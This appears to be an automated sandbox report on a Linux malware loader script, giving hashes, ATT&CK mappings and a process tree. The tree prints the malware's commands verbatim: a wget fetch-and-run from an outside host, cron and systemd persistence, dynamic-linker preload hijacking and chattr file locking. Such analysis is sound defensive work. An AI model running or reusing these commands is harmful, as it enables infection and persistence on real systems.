da41d24f215ed0146853358cff1a5aedca28b761e24390ffd75c2cef09ea47d9

Analysis

max time kernel
147s
max time network
146s
platform
debian-9_armhf
resource
debian9-armhf-20260126-en
resource tags

arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/04/2026, 07:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
loader.sh
Size 1KB
Sample260419-jkd6nabs21
SHA256 da41d24f215ed0146853358cff1a5aedca28b761e24390ffd75c2cef09ea47d9
MD5 375cdcc505375d4be794c23a242330c7
SHA1 792c347ac0bf19658659a5570b7e79457f680c8d
SHA512 dd1c03f87ca161adfc1669d12a0af913a85838b76b12ec4db418303951e64e7f408082fd70f22ce76e85fb09de338536aa814948478b386e130427a7f389c2a2
TLSH
T16441ACCA7AA3D97297C7C4381FDAF501E35624430995ADA8B09EBC303F69120FCB1E56
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery exection execution persistence privilege_escalation

Malware Config

Signatures

Modifies the dynamic linker configuration file 2 TTPs 1 IoCs

Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

exection persistence privilege_escalation defense_evasion

Shared Modules

T1129

Dynamic Linker Hijacking

T1574.006

description	ioc	Process
File opened for modification	/etc/ld.so.preload	.jbd2_sda1d

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
681	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/dev/shm/.jbd2_sda1d	682	loader.sh
/dev/shm/.jbd2_sda1d	706	.jbd2_sda1d
/dev/shm/.jbd2_sda1d	742	setsid

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	1.0.0.1
Destination IP	9.9.9.9
Destination IP	208.67.222.222

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.rNmksy	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.6qjLhN	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 2 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/lib/systemd/system/ssh.service	.jbd2_sda1d
File opened for modification	/etc/systemd/system/systemd-net-54b005.service	.jbd2_sda1d

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	crond-xnu6	738	.jbd2_sda1d

Enumerates kernel/hardware configuration 1 TTPs 12 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	.jbd2_sda1d
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	.jbd2_sda1d
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us	.jbd2_sda1d
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us	.jbd2_sda1d
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us	.jbd2_sda1d
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us	.jbd2_sda1d
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us	.jbd2_sda1d
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us	.jbd2_sda1d
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	.jbd2_sda1d
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/108/cmdline	.jbd2_sda1d
File opened for reading	/proc/319/cmdline	.jbd2_sda1d
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/14/environ	.jbd2_sda1d
File opened for reading	/proc/154/environ	.jbd2_sda1d
File opened for reading	/proc/16/environ	.jbd2_sda1d
File opened for reading	/proc/4/environ	.jbd2_sda1d
File opened for reading	/proc/42/environ	.jbd2_sda1d
File opened for reading	/proc/636/environ	.jbd2_sda1d
File opened for reading	/proc/16/cmdline	.jbd2_sda1d
File opened for reading	/proc/644/cmdline	.jbd2_sda1d
File opened for reading	/proc/10/environ	.jbd2_sda1d
File opened for reading	/proc/109/environ	.jbd2_sda1d
File opened for reading	/proc/731/environ	.jbd2_sda1d
File opened for reading	/proc/29/cmdline	.jbd2_sda1d
File opened for reading	/proc/311/cmdline	.jbd2_sda1d
File opened for reading	/proc/647/cmdline	.jbd2_sda1d
File opened for reading	/proc/136/environ	.jbd2_sda1d
File opened for reading	/proc/723/cmdline	.jbd2_sda1d
File opened for reading	/proc/self/cgroup	.jbd2_sda1d
File opened for reading	/proc/24/environ	.jbd2_sda1d
File opened for reading	/proc/308/environ	.jbd2_sda1d
File opened for reading	/proc/641/environ	.jbd2_sda1d
File opened for reading	/proc/6/cmdline	.jbd2_sda1d
File opened for reading	/proc/158/cmdline	.jbd2_sda1d
File opened for reading	/proc/sys/net/core/somaxconn	.jbd2_sda1d
File opened for reading	/proc/302/environ	.jbd2_sda1d
File opened for reading	/proc/647/environ	.jbd2_sda1d
File opened for reading	/proc/742/environ	.jbd2_sda1d
File opened for reading	/proc/1/cmdline	.jbd2_sda1d
File opened for reading	/proc/3/environ	.jbd2_sda1d
File opened for reading	/proc/20/cmdline	.jbd2_sda1d
File opened for reading	/proc/297/cmdline	.jbd2_sda1d
File opened for reading	/proc/570/environ	.jbd2_sda1d
File opened for reading	/proc/582/environ	.jbd2_sda1d
File opened for reading	/proc/12/cmdline	.jbd2_sda1d
File opened for reading	/proc/26/cmdline	.jbd2_sda1d
File opened for reading	/proc/328/cmdline	.jbd2_sda1d
File opened for reading	/proc/328/environ	.jbd2_sda1d
File opened for reading	/proc/3/cmdline	.jbd2_sda1d
File opened for reading	/proc/594/cmdline	.jbd2_sda1d
File opened for reading	/proc/641/cmdline	.jbd2_sda1d
File opened for reading	/proc/719/cmdline	.jbd2_sda1d
File opened for reading	/proc/19/environ	.jbd2_sda1d
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/570/cmdline	.jbd2_sda1d
File opened for reading	/proc/636/cmdline	.jbd2_sda1d
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/22/cmdline	.jbd2_sda1d
File opened for reading	/proc/self/exe	.jbd2_sda1d
File opened for reading	/proc/158/environ	.jbd2_sda1d
File opened for reading	/proc/13/cmdline	.jbd2_sda1d
File opened for reading	/proc/135/cmdline	.jbd2_sda1d
File opened for reading	/proc/15/cmdline	.jbd2_sda1d
File opened for reading	/proc/706/cmdline	.jbd2_sda1d
File opened for reading	/proc/8/cmdline	.jbd2_sda1d
File opened for reading	/proc/141/cmdline	.jbd2_sda1d
File opened for reading	/proc/17/environ	.jbd2_sda1d
File opened for reading	/proc/18/environ	.jbd2_sda1d
File opened for reading	/proc/297/environ	.jbd2_sda1d
File opened for reading	/proc/592/environ	.jbd2_sda1d
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/9/cmdline	.jbd2_sda1d

Writes file to shm directory 2 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.jbd2_sda1d	wget
File opened for modification	/dev/shm/.cache_8cca6b	.jbd2_sda1d

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	5	Go-http-client/1.1

/tmp/loader.sh
/tmp/loader.sh
1⤵
- Executes dropped EXE
PID:648
- /bin/uname
  uname -m
  2⤵
  PID:653
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:655
- /bin/rm
  rm -f /dev/shm/.jbd2_sda1d
  2⤵
  PID:658
- /usr/bin/wget
  wget -qO /dev/shm/.jbd2_sda1d https://tg-xxooxx888.8964.mom/bins/jbd2_sda1d
  2⤵
  - Writes file to shm directory
  PID:661
- /bin/chmod
  chmod +x /dev/shm/.jbd2_sda1d
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /usr/bin/realpath
  realpath /tmp/loader.sh
  2⤵
  PID:683
- /dev/shm/.jbd2_sda1d
  /dev/shm/.jbd2_sda1d
  2⤵
  - Executes dropped EXE
  - Enumerates kernel/hardware configuration
  PID:682
- - /dev/shm/.jbd2_sda1d
    /dev/shm/.jbd2_sda1d
    3⤵
    - Modifies the dynamic linker configuration file
    - Modifies systemd
    - Changes its process name
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    - Writes file to shm directory
    PID:706
  - - /bin/sh
      sh -c "(V_ROLE=guardian V_GUARD_PID=706 setsid /dev/shm/.jbd2_sda1d >/dev/null 2>&1 &)"
      4⤵
      PID:739
  - - /bin/systemctl
      systemctl show -p FragmentPath sshd.service
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:743
  - - /bin/systemctl
      systemctl daemon-reload
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:744
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:757
  - - /bin/bash
      bash -c "(crontab -l 2>/dev/null; echo '* * * * * pgrep -x .jbd2_sda1d > /dev/null || /dev/shm/.jbd2_sda1d > /dev/null 2>&1 &') | crontab -"
      4⤵
      PID:761
    - - /usr/bin/crontab
        
        crontab -
        5⤵
        Creates/modifies Cron job
        
        PID:764
    - - /usr/bin/crontab
        
        crontab -l
        5⤵
        Reads runtime system information
        
        PID:766
  - - /bin/systemctl
      systemctl enable --now systemd-net-54b005.service
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:770
  - - /bin/bash
      bash -c "(crontab -l 2>/dev/null; echo '* * * * * bash /var/tmp/.sys_0858f373/.svc_594e5e.sh > /dev/null 2>&1') | crontab -"
      4⤵
      PID:803
    - - /usr/bin/crontab
        
        crontab -
        5⤵
        Creates/modifies Cron job
        
        PID:806
    - - /usr/bin/crontab
        
        crontab -l
        5⤵
        
        PID:807
  - - /usr/bin/chattr
      chattr +i /etc/systemd/system/systemd-net-54b005.service
      4⤵
      PID:809
  - - /usr/bin/chattr
      chattr +i /var/tmp/.sys_0858f373/.svc_594e5e.sh
      4⤵
      PID:812
  - - /usr/bin/chattr
      chattr +i /etc/ld.so.preload
      4⤵
      PID:813
  - - /usr/bin/chattr
      chattr +i /lib/libsys_652a68.so.2
      4⤵
      PID:815
- /bin/rm
  rm -f /tmp/loader.sh
  2⤵
  PID:684

/usr/bin/setsid
setsid /dev/shm/.jbd2_sda1d
1⤵
- Executes dropped EXE
PID:742

/dev/shm/.jbd2_sda1d
/dev/shm/.jbd2_sda1d
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:742

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Shared Modules

T1129

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

T1574.006

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

T1574.006

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

T1574.006

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.cache_8cca6b

Path /dev/shm/.cache_8cca6b
Size 4B
SHA256 8e654a9c86dd745e53266582befd3be122d561cda91f78460b9a33e76c965e6f
MD5 2112e85432e05b55415530ca7f227fe2
SHA1 7d2f07d79a3b0ad328b2e251a8b279495ce4f5ec
SHA512 88a4c74a8876bffbe219ce62ff24499bcc5628626161df5a202a0e316c6e0a6619cd4d9600a680cc914bcade15411aba8803f249c5a2b5c3e8db460f5536ea0e
MD5 SHA1 SHA512

Submit Download

.jbd2_sda1d

Path /dev/shm/.jbd2_sda1d
Size 1.8MB
SHA256 3fec4980a5a22ad853405995e1936977c91edbd4867bd61a27947912d9901699
MD5 9796ec90c87ba84bd4061e84be50e0b2
SHA1 0bb192dbb56dc06e04a25464bcfc818e9ad6271f
SHA512 7cb77d9305b0244bb71aec196a6916ac7e2f151ea5390693820d73ab7d7bf10070e2c0ed4610915bcde7aa3382715f60b7562283dfa25285e666f17707b02053
SSDEEP 49152:qgNigawY+Al+InzEjv973UQCs4eklHKyTgUQXZ5dwyNo+Gg7QR:qgNxBY37nEv973t3zdGb25dxNo+Gg7QR
TLSH
T1FA85339EE1DEF29B02A1D939B0719414EA74D0B7839F25378AC88377DDC4A7623D606C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

systemd-net-54b005.service

Path /etc/systemd/system/systemd-net-54b005.service
Size 192B
SHA256 20a96ff81b4e443e30d6b5c5eb529a89d34782d98939deb16dffa9162c8f8a94
MD5 481f04133e0b85543a06ffb8f99119ea
SHA1 9e170cec92591e195f20eb29da1531bfcf305c5e
SHA512 b2ca82dce2e0a0354de25972a1839400ad4238da1d6c63149ae2b3fb74b571f6baf9e10b7367843d4dd4b46ed092eaa378a9c119249ebf340b59f1f12ca44e90
TLSH
T177C022A35A2420D08C8612F7AB7A3B0088108080CBEDA9709AE0883820E2188812742D
MD5 SHA1 SHA512 TLSH

Submit Download

libsys_652a68.so.2

Path /lib/libsys_652a68.so.2
Size 15KB
SHA256 a42881a2f19b5dfcc8d362f64574d3ba59bb0321121690e9fd12255c2f8a0d7c
MD5 ca2ae9caeac90ecceea93daceaac5a8b
SHA1 591cd17266c4f927a4b1d6e86dfc984418c06604
SHA512 9376df1cef891ca8c0636a8e694a698821c1ba677b8f616eb4098c6b484523273f68ea774bb1c3a6d39175e933b0a0e9588fb336fe690c95d95ebce78d0a4c8a
SSDEEP 192:R2MrF20sE8UMkc0avE8UMkc0al41xbmSee:8oF20sE8UMkc0avE8UMkc0al41xbc
TLSH
T16E62E22FE751CE3EC5D89231864F922163B2D4B4DB31031B1E64D9BB2D973980EB9E15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.wget-hsts

Path /root/.wget-hsts
Size 176B
SHA256 22a939c9859ec20558d279f9ff48dd0bc392a3ff00bd5fb97a010988105ce662
MD5 fcc1c4810d04ffadc6ec21384b26fc5c
SHA1 79bfb1af946ffd76a102c4f118baec05982656f5
SHA512 48d0666bcd79727204036b95d55850776d971980f1b7f55e9ec33cae6c069ad99b82f55df28e76b53d22a69c71baa7ad4ed71508e3b719d049bceba91ce54e76
TLSH
T1A9C0C02BA004E200004005F0B083384A22D4F11427A09CCD4C0683302538100FCD5C1C
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.6qjLhN

Path /var/spool/cron/crontabs/tmp.6qjLhN
Size 331B
SHA256 8b3af09c6c6aa7f3d49a3df31412328b43f64d472868f38d6fa83e05c2580a06
MD5 290c4796eb35cc12b2d3697f3bcd3ba1
SHA1 2ab38bb5afc9dc021be013f0bdc6673169b6b28d
SHA512 f8abfcbcfc1bf9b235cd833ba35a569a9ee8f52bccdc114c34f0c4804cee959f21c053216072d4718a6510655faabe2e4cc5ed9d9c242130d849cf213eec16be
TLSH
T182E02676B6106C247D5407A8216F70156A83A43A807EDE52F1DE2434466E34FA642A32
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.rNmksy

Path /var/spool/cron/crontabs/tmp.rNmksy
Size 261B
SHA256 fe43d7ded8029391b76f895632894062538647a7b71e24285f00db82aaa77ecc
MD5 48e876b904dad7e925a12e7fde90f6dd
SHA1 c46ad5bdd3a66af926c1451556f1ca828caf815f
SHA512 78b72b7741cbb3980606e8cdc5cf369211b73e8141b22dc0eeeaf2e6d5bf9ce44c2bf52ab20aff556ee818cf88114187c6f7a51f5fa60b5786175b93cb2d9941
TLSH
T183D02B35B7105D307E540758255F70156A82A439405FDE00E1DE1424036D34E6A40A33
MD5 SHA1 SHA512 TLSH

Submit Download

.svc_594e5e.sh

Path /var/tmp/.sys_0858f373/.svc_594e5e.sh
Size 261B
SHA256 198af763f265da33ee336e3cd06618bfb73d7d9a65d71280682d4c89f114864f
MD5 b7fcaeb2356b1a1b1ece95c2fa3bcb86
SHA1 477967edb13c19b3a60ff2835a15eacbf939bd53
SHA512 b2daaa669a6656e4b6463b02807d26b1c102dcad59cb9515e9011414a20e6d289791b9bb4d4ca56c6468f3821447b09f9ce24474ea2df8fd12dc2f3b3508add0
TLSH
T1B7D05B85101417D8AF5E000765670AA7D147F12D1591DB9B70D327DB519AC2865D7F31
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads